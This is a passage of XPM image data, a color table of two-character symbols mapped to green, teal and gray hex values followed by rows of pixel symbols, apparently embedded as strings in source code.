+"T+. c #69A54E", +"U+. c #246376", +"V+. c #245868", +"W+. c #7CB758", +"X+. c #A2C506", +"Y+. c #9AC106", +"Z+. c #B1CC08", +"`+. c #BDD108", +" @. c #AFCC08", +".@. c #9EC506", +"+@. c #B4D103", +"@@. c #B3D103", +"#@. c #ADCC06", +"$@. c #BBD208", +"%@. c #C1D508", +"&@. c #BDD408", +"*@. c #AFCF06", +"=@. c #9AC806", +"-@. c #C3D903", +";@. c #E2FF00", +">@. c #91BE05", +",@. c #A6CD06", +"'@. c #B6D208", +")@. c #C4D808", +"!@. c #BBD408", +"~@. c #A8CE06", +"{@. c #E0FC00", +"]@. c #B7D503", +"^@. c #212517", +"/@. c #031904", +"(@. c #061008", +"_@. c #232715", +":@. c #788501", +"<@. c #6E7802", +"[@. c #D9F202", +"}@. c #85AF05", +"|@. c #AACF03", +"1@. c #749405", +"2@. c #CCE302", +"3@. c #CEE602", +"4@. c #9EC608", +"5@. c #A8C808", +"6@. c #9AC208", +"7@. c #86AB06", +"8@. c #9FC504", +"9@. c #C6E301", +"0@. c #A5C703", +"a@. c #789906", +"b@. c #65A44D", +"c@. c #7EBB5A", +"d@. c #B0C907", +"e@. c #A2C406", +"f@. c #A1C306", +"g@. c #A3C506", +"h@. c #B5CE08", +"i@. c #B4CF08", +"j@. c #A5C906", +"k@. c #DAF900", +"l@. c #DEFE00", +"m@. c #94C006", +"n@. c #C5D708", +"o@. c #C6D708", +"p@. c #B9D308", +"q@. c #A9CE06", +"r@. c #E1FD00", +"s@. c #D7EF02", +"t@. c #9DCA06", +"u@. c #ADD006", +"v@. c #C2D708", +"w@. c #BFD608", +"x@. c #BCD508", +"y@. c #B8D408", +"z@. c #B0D208", +"A@. c #A1CC06", +"B@. c #94BD06", +"C@. c #87AC05", +"D@. c #E3FF00", +"E@. c #AFD203", +"F@. c #626F0E", +"G@. c #122910", +"H@. c #122912", +"I@. c #495A0D", +"J@. c #859201", +"K@. c #849101", +"L@. c #D2E902", +"M@. c #C6DA03", +"N@. c #97C703", +"O@. c #CFE602", +"P@. c #9FC903", +"Q@. c #A1C903", +"R@. c #D7F302", +"S@. c #9BC508", +"T@. c #A6C808", +"U@. c #A9C908", +"V@. c #A7C908", +"W@. c #A5C708", +"X@. c #9DC408", +"Y@. c #C7E003", +"Z@. c #C0D603", +"`@. c #88AD06", +" #. c #BBD301", +".#. c #BBD201", +"+#. c #246275", +"@#. c #84C05E", +"##. c #B9CF08", +"$#. c #B3CF08", +"%#. c #B2D106", +"&#. c #A3CC06", +"*#. c #A8CF03", +"=#. c #D9F102", +"-#. c #ABD006", +";#. c #BAD508", +">#. c #C4D908", +",#. c #C9DB08", +"'#. c #CADB08", +")#. c #CBDC08", +"!#. c #CCDC08", +"~#. c #C7DB08", +"{#. c #BCD808", +"]#. c #ADD407", +"^#. c #9DCA07", +"/#. c #DCEF02", +"(#. c #E6FF00", +"_#. c #A1D105", +":#. c #9BC707", +"<#. c #ABD407", +"[#. c #B8D808", +"}#. c #C4DB08", +"|#. c #C9DC08", +"1#. c #BEDA08", +"2#. c #B7D808", +"3#. c #B1D507", +"4#. c #B4D805", +"5#. c #D2E203", +"6#. c #E7FF00", +"7#. c #96C405", +"8#. c #BAC806", +"9#. c #6F760E", +"0#. c #60790E", +"a#. c #82AA06", +"b#. c #A9B802", +"c#. c #AAB902", +"d#. c #89B007", +"e#. c #90BA07", +"f#. c #D1E103", +"g#. c #DBF102", +"h#. c #8CB106", +"i#. c #A4D103", +"j#. c #DDF402", +"k#. c #D4E702", +"l#. c #BBD705", +"m#. c #DBF402", +"n#. c #C7DB05", +"o#. c #98C206", +"p#. c #A0CB08", +"q#. c #AECF08", +"r#. c #AFCF08", +"s#. c #ADCE08", +"t#. c #ACCD08", +"u#. c #A4CA08", +"v#. c #9CC708", +"w#. c #CCE303", +"x#. c #96BE08", +"y#. c #739206", +"z#. c #CFEC02", +"A#. c #719106", +"B#. c #7D9F06", +"C#. c #67A74E", +"D#. c #256376", +"E#. c #79BD6F", +"F#. c #B0CA0D", +"G#. c #B8CD09", +"H#. c #B4CB0A", +"I#. c #B6CC0A", +"J#. c #B7CC0A", +"K#. c #B7CD0A", +"L#. c #B8CD0A", +"M#. c #B8CE0A", +"N#. c #B9CF0A", +"O#. c #BACF0A", +"P#. c #BACF0B", +"Q#. c #B6CE0B", +"R#. c #AFCC0B", +"S#. c #A3C709", +"T#. c #97C209", +"U#. c #8DB608", +"V#. c #C4D905", +"W#. c #DEFF00", +"X#. c #C7DC06", +"Y#. c #A2C709", +"Z#. c #B0CD09", +"`#. c #BAD10B", +" $. c #BFD20B", +".$. c #BFD30B", +"+$. c #C0D30B", +"@$. c #BED30B", +"#$. c #BFD40B", +"$$. c #BBD30B", +"%$. c #B2CF09", +"&$. c #A7CC09", +"*$. c #CCE005", +"=$. c #C3D805", +"-$. c #93BE08", +";$. c #9FCA09", +">$. c #ABCE09", +",$. c #B5D10B", +"'$. c #BBD40B", +")$. c #BED50B", +"!$. c #BED40B", +"~$. c #BCD40B", +"{$. c #B7D20B", +"]$. c #CADD06", +"^$. c #D3E905", +"/$. c #D7F002", +"($. c #CBDF05", +"_$. c #DDF900", +":$. c #D3EB03", +"<$. c #81A508", +"[$. c #89AF08", +"}$. c #CCE105", +"|$. c #BCD605", +"1$. c #90BB09", +"2$. c #8DB809", +"3$. c #C4D703", +"4$. c #B8CD06", +"5$. c #92BB09", +"6$. c #93BE09", +"7$. c #91BB09", +"8$. c #D4ED03", +"9$. c #8DB609", +"0$. c #8AB108", +"a$. c #A5CB06", +"b$. c #85AD08", +"c$. c #C8DE03", +"d$. c #A9CD06", +"e$. c #8AB309", +"f$. c #CBE305", +"g$. c #C3D806", +"h$. c #94BE09", +"i$. c #99C309", +"j$. c #A0C50B", +"k$. c #A5C70B", +"l$. c #A4C70B", +"m$. c #A4C60B", +"n$. c #A2C50A", +"o$. c #9DC30A", +"p$. c #97C00A", +"q$. c #9BC109", +"r$. c #89B109", +"s$. c #BDD406", +"t$. c #C1DA04", +"u$. c #89AF09", +"v$. c #90B90A", +"w$. c #8CB509", +"x$. c #82A909", +"y$. c #789907", +"z$. c #8BB706", +"A$. c #759707", +"B$. c #7B9E09", +"C$. c #62A55E", +"D$. c #246274", +"E$. c #7DB2BC", +"F$. c #2F8B9E", +"G$. c #2D8598", +"H$. c #3EA8B9", +"I$. c #3EA7B9", +"J$. c #3EA6B8", +"K$. c #3CA1B2", +"L$. c #399BAB", +"M$. c #3693A3", +"N$. c #348B9B", +"O$. c #328795", +"P$. c #338897", +"Q$. c #358F9E", +"R$. c #3896A6", +"S$. c #3A9DAE", +"T$. c #3DA3B5", +"U$. c #3897A7", +"V$. c #358F9F", +"W$. c #338A98", +"X$. c #338998", +"Y$. c #358E9D", +"Z$. c #3795A5", +"`$. c #3A9CAD", +" %. c #3CA2B4", +".%. c #3DA5B7", +"+%. c #3B9EAF", +"@%. c #3999A9", +"#%. c #328695", +"$%. c #318391", +"%%. c #30808E", +"&%. c #2F7F8D", +"*%. c #318493", +"=%. c #338A99", +"-%. c #348D9C", +";%. c #3590A0", +">%. c #3691A1", +",%. c #3692A2", +"'%. c #3793A3", +")%. c #3999AA", +"!%. c #3DA4B6", +"~%. c #3CA0B2", +"{%. c #3898A8", +"]%. c #3794A4", +"^%. c #3A9DAD", +"/%. c #3BA0B1", +"(%. c #3B9EB0", +"_%. c #308290", +":%. c #318593", +"<%. c #3BA0B2", +"[%. c #245764", +"}%. c #313433", +"|%. c #245869", +"1%. c #235767", +"2%. c #225262", +"3%. c #21505F", +"4%. c #204E5D", +"5%. c #215060", +"6%. c #235667", +"7%. c #1F4C5B", +"8%. c #1F4B5A", +"9%. c #1F4D5C", +"0%. c #204F5E", +"a%. c #225160", +"b%. c #225060", +"c%. c #225161", +"d%. c #225261", +"e%. c #225260", +"f%. c #21505E", +"g%. c #235362", +"h%. c #225362", +"i%. c #245665", +"j%. c #255969", +"k%. c #255868", +"l%. c #245766", +"m%. c #214F5D", +"n%. c #204D5B", +"o%. c #214E5C", +"p%. c #22515F", +"q%. c #245562", +"r%. c #2A474E", +"s%. c #EDF3F5", +"t%. c #323333", +"u%. c #313232", +"v%. c #303131", +"w%. c #2F3030", +"x%. c #2E2F2F", +"y%. c #313131", +"z%. c #2F393B", +"A%. c #286C7C", +"B%. c #38A2B6", +"C%. c #D0E0E3", +"D%. c #B0CDD2", +"E%. c #359BAF", +"F%. c #2A7788", +"G%. c #294E57", +"H%. c #2B474E", +"I%. c #2D4248", +"J%. c #2D4147", +"K%. c #2C4147", +"L%. c #2C4046", +"M%. c #2B4045", +"N%. c #286D7D", +"O%. c #3192A6", +"P%. c #8EBBC3", +"Q%. c #A6C7CD", +"R%. c #44A6B7", +"S%. c #2F8EA1", +"T%. c #2D8497", +"U%. c #2F8C9F", +"V%. c #91BBC3", +"W%. c #F1F5F6", +"X%. c #85B6BE", +"Y%. c #6FACB7", +"Z%. c #7FB3BD", +"`%. c #E1EBED", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . + @ # $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ % & * . . . . . ", +" . . . . = - ; > , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ' ' ) ! ! ! ! ) ' ' , , , , ' ' ) ) ) ) ) ' ' ' ' ) ) ) ) ) ' ' , , , , , , , , , , , , ' ' ' ) ' ' ' , , , , , , , , , , , , , , , , , ~ { ] ^ . . . . . ", +" . . . . / ( _ : < [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ } | 1 2 3 3 4 5 | } [ [ [ 6 } 7 1 4 4 1 5 | } } | 5 1 8 1 5 | } [ [ [ [ [ [ [ [ [ [ [ [ } | | 5 7 | } } [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ 9 0 a b c . . . . ", +" . . . d e f g h h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j k l m n o n m l k j i i j k p l q r m q l p k k s l q m m q t k j i i i i i i i i i i j j s p l l p k j i i i i i i i i i i i i i i i i h h u v w x . . . ", +" . . . @ ; : h y z A B C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C D E F G H I J K L M N O D P Q N R G L H H S T U V V W X Y Z Z Y ` . .. +. @. #. #. #. #. #. #. #. #. $. .. %. &. *. =. R -. ;. >. ,. ,. ,. ,. '. '. '. '. '. '. '. '. '. '. '. ). !. h !. ~. {. . . . ", +". . . . ]. ^. /. h z (. _. :. <. [. }. |. 1. 2. 3. 4. 5. 6. 7. 8. 9. 0. 0. a. b. c. d. e. e. f. g. h. i. i. j. k. l. l. l. m. n. n. o. p. q. r. s. t. u. v. w. x. y. z. A. B. C. D. E. F. G. H. I. J. K. L. M. N. O. O. P. Q. R. S. T. U. V. W. X. Y. Z. `. + .+ .+ ++ @+ #+ $+ %+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ <+ [+ }+ |+ 1+ 2+ ). h [ ' 3+ . . . . ", +". . . . 4+ ' [ i 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ n+ o+ p+ q+ r+ s+ t+ u+ v+ w+ x+ y+ z+ A+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ R+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ ~@ {@ ]@ ^@ /@ (@ _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ _ n@ . . . . ", +". . . . o@ p@ q@ i C r@ s@ t@ u@ v@ w@ x@ y@ g+ h+ z@ A@ B@ l+ m+ C@ D@ E@ F@ G@ t+ u+ v+ w+ H@ I@ J@ K@ B+ D+ L@ E+ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# )@ 7# 8# 9# 0# a# b# c# d# e# f# g# h# i# j# k# l# m# n# o# p# q# r# s# h@ t# u# v# w# x# y# z# A# . . . . ", +". . . . B# p@ q@ i C# D# E# F# G# 9+ H# I# J# K# d+ e+ f+ g+ h+ z@ L# k+ M# N# m+ C@ D@ E@ F@ r+ s+ O# u+ v+ w+ x+ P# z+ Q# A+ R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ +$ '$ )$ !$ ~$ {$ ]$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# B$ C$ D$ G# s@ E$ F$ a+ b+ c+ d+ e+ f+ G$ H$ i+ L# k+ M# N# n+ I$ p+ E@ F@ r+ s+ O# u+ v+ J$ x+ K$ P# Q# A+ L$ M$ N$ O$ P$ Q$ R$ S$ T$ U$ V$ W$ X$ Y$ Z$ `$ % .% +% @% #% $% %% &% *% =% -% ;% >% ,% '% )% !% ~% {% ]% ^% /% 1$ (% _% :% <% [% 6$ }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% y$ x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# r% s% 9+ t% G# u% H# I# J# K# w@ v% w% x% G$ H$ i+ L# B@ M# N# n+ I$ D@ E@ q+ r+ s+ y% z% A% J$ B% K$ C% D% E% F% G% H% I% J% K% L% M% N% O% O% O% P% Q% R% S% T% T% U% V% W% X% X% Y% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# j& k& s@ l& m& G# u% H# I# J# K# w@ v% f+ x% G$ H$ i+ A@ B@ M# N# n+ I$ D@ n& q+ r+ s+ y% O# A% o& B% p& q& r& s& t& u& v& w& x& y& z& A& O% B& C& Y$ D& R% E& F& T% G& H& I& J& Y$ K& L& M& N& O& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* |& ,* '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* x# y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# j& 5* 6* 7* l& m& 8* u% H# a+ b+ K# w@ e+ w% x% G$ H$ i+ L# B@ M# N# n+ 9* 0* a* q+ b* c* d* e* z% f* J$ g* h* i* j* k* l* m* n* o* p* q* r* O% s* t* u* U% v* w* x* x* y* z* A* B* Q% B& Y% C* D* E* F* m* 1$ G* H* I* J* K* L* M* N* O* P* Q* R* S* %* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= y# z$ A$ . . . . ", +". . . . B# p@ q@ i C# /= (= _= E# := t% G# <= E$ F$ a+ b+ c+ d+ e+ f+ g+ h+ H$ i+ A@ B@ l+ [= m+ 9* I$ a* }= b* |= d* e* e* f* 1= 2= 3= 4= 8$ 5= 6= 7= 8= 9= 0= a= O% b= c= d= e= z* y* f= g= f= x* z* e= h= i= j= O% k= l= m= n= o= :% p= q= r= s= t= u= v= w= [@ x= y= z= T* A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- z$ A$ . . . . ", +". . . . B# p@ q@ i C# @- #- l& s% E# := t% G# <= E$ F$ J# v@ c+ d+ e+ y@ $- %- &- *- =- -- ;- >- ,- '- )- a* n& }= |= c* d* !- ~- {- ]- ^- /- (- _- :- <- [- }- |- 1- O% 2- t* 3- U% 4- 5- x* 6- 5- z* e= D& 7- 8- 9- O% 0- a- b- c- +* )& d- e- f- g- h- i- j- k- l- m- n- o- p- q- r- s- F= t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- A$ . . . . ", +". . . . B# p@ q@ i C# T- U- V- W- C$ 7* l& m& G# u% H# I# J# v@ X- Y- Z- `- ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; ~; {; ]; ^; /; (; _; :; <; [; }; |; 1; 2; O% 3; d= d= V% U% T% G& G& 4; 5; 2- P% j= 6; O% 7; 8; 9; 0; a; b; c; P* d; e; f; g; h; i; _& j; k; l; 4@ k# m; n; o; p; q; l$ r; s; t; u; B- v; w; x; y; G- z; A; B; C; D; E; W= F; G; H; I; J; K; A$ . . . . ", +". . . . B# p@ q@ i C# L; M; N; 5* W- C$ 7* l& m& G# u% H# O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> %* )> !> ~> {> ]> ^> /> (> _> :> 7- D& R% V% <> u* u* D& 2- b= B& [> Y% }> |> 1> 2> 3> 4> 5> 2% 6> a$ 7> 8> 9> 0> a> a; b> c> d> e> f> g> h> i> j> k> l> m> n> o> p> q> r> s> t> u> v> w> x> y> z> A> B> X= C> D> E> F> G> H> A$ . . . . ", +". . . . B# p@ q@ i C# I> J> C$ K> k& s% E# := t% m& G# 9+ L> M> N> O> P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, &> %, &, *, =, -, ;, >, ,, ', ), !, ~, ]> ~, {, ], ^, /, (, _, 3; :, J& :, 3; <, c= [, }, |, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, A$ . . . . ", +". . . . B# p@ q@ i C# N, O, P, #- K> k& s% E# := t% Q, R, S, T, U, V, W, X, Y, Z, `, ' .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' <' <' [' }' |' 1' 2' 3' 4' 5' 6' 7' 8' 9' 0' a' b' c' d' e' f' g' h' i' j' k' l' 2@ m' n' D= o' p' q' r' 6@ s' t' u' v' @= w' x' y' z' A' B' C' D' E' <* F' G' |* H' p% I' J' K' L' M' N' O' P' K, L, M, A$ . . . . ", +". . . . B# p@ q@ i C# N, Q' R' S' (= T' W- s% E# := U' V' W' X' Y' Z' `' ) .) +) @) #) $) %) &) *) =) -) ;) >) ,) ') )) !) ~) {) ]) ^) /) () _) :) <) [) }) |) 1) 2) 2) 3) 4) 5) 6) 7) 8) 9) 0) a) b) c) d) e) f) g) h) i) j) k) l) m) n) o) p) q) r) s) t) u) v) w) x) y) z) A) B) C) D) E) M= F) p$ G) H) I) J) K) L) M) N) O) P) Q) R) S) T) U) V) W) X) Y) Z) `) L, M, A$ . . . . ", +". . . . B# p@ q@ i C# ! .! +! @! S' (= T' W- C$ #! $! %! &! *! =! -! ;! >! ,! '! )! !! ~! {! ]! A- ^! /! (! _! :! >) ,) A$ . . . . ", +". . . . B# p@ q@ i C# %~ &~ *~ =~ -~ S' (= T' W- ;~ >~ ,~ '~ )~ !~ W= ~~ {~ ]~ ^~ /~ (~ !! _~ :~ <~ [~ }~ |~ 1~ 2~ 3~ 4~ 5~ 6~ 7~ 8~ 9~ 0~ a~ b~ Y* c~ d~ e~ f~ g~ h~ i~ j~ j~ j~ k~ l~ m~ n~ o~ p~ q~ o- r~ s~ t~ u~ v~ w~ x~ y~ y~ z~ A~ B~ C~ D~ E~ F~ G~ H~ I~ J~ K~ L~ 0@ M~ N~ O~ y' P~ Q~ R~ j% S~ T~ U~ V~ W~ X~ T! W= Y~ Z~ `~ { .{ +{ @{ #{ ${ %{ &{ *{ ={ -{ K; A$ . . . . ", +". . . . B# p@ q@ i C# ;{ >{ -~ ,{ =~ -~ '{ +! ){ !{ ~{ {{ ]{ ^{ /{ ({ _{ :{ <{ [{ ^~ }{ |{ 1{ 2{ 3{ 4{ 5{ 6{ 7{ 8{ 9{ 0{ @= a{ b{ c{ d{ e{ f{ g{ h{ i{ j{ k{ l{ m{ n{ o{ p{ q{ r{ s{ t{ u{ v{ w{ :) x{ y{ z{ A{ B{ C{ D{ E{ F{ G{ H{ I{ J{ K{ L{ M{ N{ O{ P{ Q{ R{ S{ T{ U{ V{ N~ W{ X{ Y{ Z{ `{ r> ] .] +] @] #] $] %] &] G, *] =] -] ;] >] ,] '] )] !] ~] {] ]] ^] /] K; A$ . . . . ", +". . . . B# p@ q@ i C# (] _] :] <] ,{ =~ -~ [] }] |] 1] 2] 3] 4] 5] 6] 7] 8] 9] 0] a] b] c] /~ d] e] f] g] h] i] j] k] l] m] n] o] p] q] r] s] t] '* u] v] w] x] y] z] A] I{ I{ B] C] D] E] F] G] H] I] J] K] K] L] G] G] M] N] J{ O] P] Q] R] S] T] U] V] W] k> X] Y] Z] `] ^ .^ +^ @^ #^ $^ %^ v, &^ *^ =^ -^ ;^ >^ ,^ G, M' '^ )^ !^ ~^ {^ ]^ ^^ /^ (^ _^ {] :^ ^] /] z# A$ . . . . ", +". . . . B# p@ q@ i C# <^ [^ }^ &~ <] ,{ :] -~ |^ 1^ 2^ 3^ 4^ 5^ 6^ 7^ 8^ 9^ 0^ a^ b^ c^ d^ e^ f^ g^ h^ i^ j^ k^ l^ m^ n^ o^ p^ q^ r^ s^ t^ u^ 5~ v^ w^ x^ y^ z^ A^ B^ C^ D^ E^ F^ y] G^ H^ I^ I^ J^ K^ L^ M^ N^ O^ P^ Q^ R^ S^ T^ U^ V^ W^ X^ Y^ Z^ `^ / ./ o, s; +/ @/ #/ $/ @^ %/ &/ O! */ =/ -/ ;/ >/ ,/ '/ )/ !/ ~/ M' 5] .~ {/ ]/ ^/ // (/ _/ :/ ( ,( '( )( !( ~( {( ]( W) ^( /( (( _( :( <( [( }( |( 1( 2( 3( *{ 4( J; H> A$ . . . . ", +". . . . B# p@ q@ i C# 5( 6( 7( _] 4/ 5/ 8( ,{ 9( 0( a( b( c( d( e( f( g( W) h( i( j( k( l( m( n( ,= o( p( q( r( s( t( u( v( w( x( y( r/ M= z( A( B( C( D( E( F( += G( H( I( J( K( L( M( N( O( P( Q( Q( 3; R( S( T( U( V( W( X( Y( Z( `( _ ._ +_ t# w' @_ y' #_ $_ %_ &_ *_ =_ -_ ;_ >_ ,_ =^ '_ )_ !_ ~_ {_ ]_ ^_ /_ (_ __ :_ <_ [_ }_ |_ 1_ 2_ 3_ 4_ 5_ 6_ 7_ P- 8_ G> H> A$ . . . . ", +". . . . B# p@ q@ i C# 9_ 0_ a_ b_ c_ d_ 5/ e_ f_ g_ h_ i_ j_ k_ l_ m_ a/ n_ o_ p_ !~ q_ r_ s_ t_ u_ ,= v_ w_ x_ y_ z_ A_ r> B_ C_ D_ B- E_ F_ G_ H_ I_ J_ K_ L_ M_ N_ O_ P_ Q_ R_ S_ T_ Q( u* R% U_ R% V_ 2- W_ X_ Y_ 6' Z_ `_ : .: +: @: #: $: %: &: *: =: -: ;: >: ,: ': ): !: ~: {: ]: ^: /: (: _: :: <: [: }: |: __ a/ 1: 2: 3: 4: 5: 6: 7: 8: 9: 0: a: b: c: I; G> H> A$ . . . . ", +". . . . B# p@ q@ i C# d: e: f: g: b_ c_ a_ h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z: A: ;! B: C: D: E: F: G: H: I: r> J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: X: Y: Z: 5- 5- `: < E& D& .< +< @< #< $< %< &< *< =< -< ;< G) D_ >< ,< '< )< !< ~< t$ {< ]< ^< /< (< _< :< << [< }< |< F/ L^ 1< a/ 2< 3< 4< 4: 5< 6< 7< 8< 9< 0< a< b< c< d< e< G> H> A$ . . . . ", +". . . . B# p@ q@ i C# f< g< f: 6( 2/ h< c_ i< j< k< l< m< n< m: o< p< q< r< s< t< u< v< w< x< y< z< A< B< C< D< E< F< G< H< I< :* v, J< K< L< M< N< O< P< Q< R< S< 2- T< 4; U< z* 5- V< W< X< Y< Y< Z< W< y* A* D& `< [ @< .[ +[ @[ #[ $[ %[ &[ *[ =[ -[ ;[ >[ ,[ '[ )[ )[ ![ ~[ B: {[ ][ ^[ ~( /[ ([ _[ :[ <[ [[ }[ |[ 1[ 2[ 3[ 4[ 5[ 6[ 7[ 8[ 9[ 0[ a[ b[ c[ d[ `) L, M, A$ . . . . ", +". . . . B# p@ q@ i C# e[ f[ g[ 0_ 6( g: h< h[ i[ j[ k[ l[ m[ n[ o[ p[ q[ r[ s[ t[ u[ v[ w[ x[ y[ z[ A[ B[ &] C[ D[ E[ F[ G[ H[ <* I[ J[ -= K[ L[ M[ N[ O[ P[ Q[ X: R[ T% w* f= S[ X< T[ U[ V[ W[ X[ W[ Y[ Z[ y* e= `[ } .} +} @} #} $} %} &} *} =} -} ;} ;} f& >} ,} '} )} !} ~} {} ]} ^} D, /} M' (} _} :} <} [} }} |} 1} 2} 3} 4} 5} 6} 7} 8} 9} 0} a} b} c} E> d} e} _ A$ . . . . ", +". . . . B# p@ q@ i C# f} g} h} i} 0_ j} 2/ k} l} m} n} o} p} q} r} s} t} u} v} w} x} y} z} A} B} C} D} E} F} G} H} I} J} B; ;! ,= K} L} M} N} O} W$ P} T< Q} G& z* x* R} X< S} T} U} V} W} X} Y} Z} X} V} U[ `} Y: | .| +| @| #| $| %| &| *| =| H: -| ;| =^ -^ >| ,| '| )| !| ~| {| ]| ^| /| (| _| :| <| [| }| }} || 1| 2| 3| 4} 4| 4| 5| 6| 7| 8| 9| 0| a| b| P' c| e} _ A$ . . . . ", +". . . . B# p@ q@ i C# d| e| f| g| i} h| j} i| j| k| m} l| m| n| o| p| q| r| s| t| u| v| w| x| y| z| A| B| C| D| E| F| G| H| I| J| K| L| M| N| O| P| Q| R| w* g= S| Z< T| U| V| W| X| X} Y} Y| Z| `| 1 X| .1 X< +1 u* Q[ @1 #1 $1 %1 &1 *1 =1 -1 ;1 >1 z; ,1 A; '1 )1 !1 ~1 {| {1 ]1 ^1 /1 (1 _1 :1 <1 [1 }1 |1 || 11 21 31 41 4| 51 61 71 81 91 01 a1 b1 c1 d1 J, e1 f1 _ A$ . . . . ", +". . . . B# p@ q@ i C# g1 h1 i1 j1 k1 i} h| l1 m1 n1 o1 p1 q1 r1 s1 t1 u1 v1 w1 x1 y1 z1 A1 B1 C1 D1 E1 F1 G1 5] H1 I1 J1 K1 L1 M1 N1 O1 R[ Q| P1 R| f= W< Z[ S} U[ .1 Q1 R1 S1 T1 Z} U1 Y| Y| V1 1 Y} W1 X1 Y< 5- v* Y1 Z1 `1 2 .2 +2 @2 #2 $2 %2 &2 *2 =2 -2 ;2 >2 ,2 '2 )2 !2 ~2 {2 ]2 ^2 a/ /2 (2 _2 || j_ :2 <2 %{ [2 }2 |2 12 22 32 42 52 62 72 82 92 02 P' c| e} M, A$ . . . . ", +". . . . B# p@ q@ i C# a2 b2 k1 c2 j1 k1 i1 d2 e2 m1 f2 g2 l} h2 i2 j2 k2 l2 m2 n2 o2 p2 q2 r2 }} s2 t2 |} u2 v2 w2 x2 y2 +| T_ z2 Q| P1 A2 f= R} B2 S} T| U| W[ Q1 X| C2 Z} D2 T1 Z} X} S1 S1 S1 W} R1 E2 F2 G2 y* 4; H2 I2 J2 K2 L2 M2 N2 O2 P2 Q2 R2 S2 T2 U2 V2 R) W2 !2 X2 Y2 Z2 `2 3 }[ .3 +3 || j_ @3 #3 $3 %3 &3 *3 |2 12 =3 -3 ;3 >3 ,3 '3 )3 !3 ~3 {3 ]3 F> L, H> A$ . . . . ", +". . . . B# p@ q@ i C# ^3 /3 c2 (3 c2 _3 k1 i1 :3 f| <3 f2 [3 }3 |3 13 23 33 43 53 63 73 83 93 03 a3 b3 c3 d3 e3 f3 W: X: R[ S% Y: y* g= 